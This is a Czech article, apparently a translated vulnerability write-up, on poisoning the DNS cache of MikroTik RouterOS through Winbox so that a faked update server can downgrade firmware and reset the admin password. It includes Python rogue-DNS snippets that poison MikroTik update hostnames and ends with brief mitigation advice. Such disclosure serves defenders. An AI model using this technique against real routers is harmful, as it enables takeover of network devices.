
Možnost vzdáleného snížení zařízení na bázi RouterOS (Mikrotik) ohrožuje stovky tisíc síťových zařízení. Zranitelnost je spojena s otrávením DNS cache protokolu Winbox a umožňuje načíst zastaralý (s obnovením hesla na 'výchozí') nebo modifikovaný firmware do zařízení.

Podrobnosti o zranitelnosti
Terminál RouterOS podporuje příkaz pro vyhledávání DNS.

Tento požadavek zpracovává binární soubor s názvem resolver. Resolver je jedním z mnoha binárních souborů, které jsou připojeny k protokolu Winbox od RouterOS. Na vysoké úrovni mohou být 'zprávy' odesílané na port Winbox směrovány do různých binárních souborů v RouterOS na základě schématu číslování založeného na poli.
Ve výchozím nastavení je v RouterOS funkce DNS serveru deaktivována.

Nicméně i při deaktivované funkci serveru směrovač podporuje svou vlastní DNS cache.

Když provedeme požadavek pomocí winbox_dns_request, například example.com, směrovač bude cachovat výsledek.

Jelikož můžeme určit DNS server, přes který by měl požadavek projít, je trivální zadávat neplatné adresy. Například je možné nakonfigurovat implementaci DNS serveru od , aby vždy odpovídal záznamem A obsahujícím IP adresu 192.168.88.250.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Odpověď:n", reply)
return reply.pack()Nyní, pokud pomocí Winboxu vyhledáte example.com, můžete vidět, že DNS cache směrovače byla otrávena.

Samozřejmě, otrávení example.com není příliš užitečné, protože směrovač ho ve skutečnosti nebude používat. Nicméně směrovač potřebuje přístup k upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com a download.mikrotik.com. A díky další chybě existuje možnost otrávit je všechny najednou.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Odpověď:n", reply)
return reply.pack()Router požaduje jedno povolení, a my vracíme pět odpovědí. Router nesprávně ukládá všechny tyto odpovědi do mezipaměti.

Je jasné, že tento útok je užitečný i tehdy, když router funguje jako DNS server, protože umožňuje útok na klienty routeru.
Tento útok také umožňuje zneužít závažnější zranitelnost: provést downgrade nebo backport verze RouterOS. Útočník reprodukuje logiku serveru pro aktualizace, včetně changelogu, a nutí RouterOS považovat zastaralou (zranitelnou) verzi za aktuální. Nebezpečí spočívá v tom, že při 'aktualizaci' verze je heslo správce resetováno na 'výchozí' hodnotu — útočník může vstoupit do systému s prázdným heslem!

Útok je plně funkční, i když realizuje ještě několik vektorů, které se týkají i , ale to už je nadbytečná technika a její použití k nelegálním účelům je protiprávní.
Ochrana
Jednoduché vypnutí Winboxu pomáhá chránit před těmito útoky. I když je správa přes Winbox pohodlná, je lepší využít protokol SSH.
Zdroj: habr.com
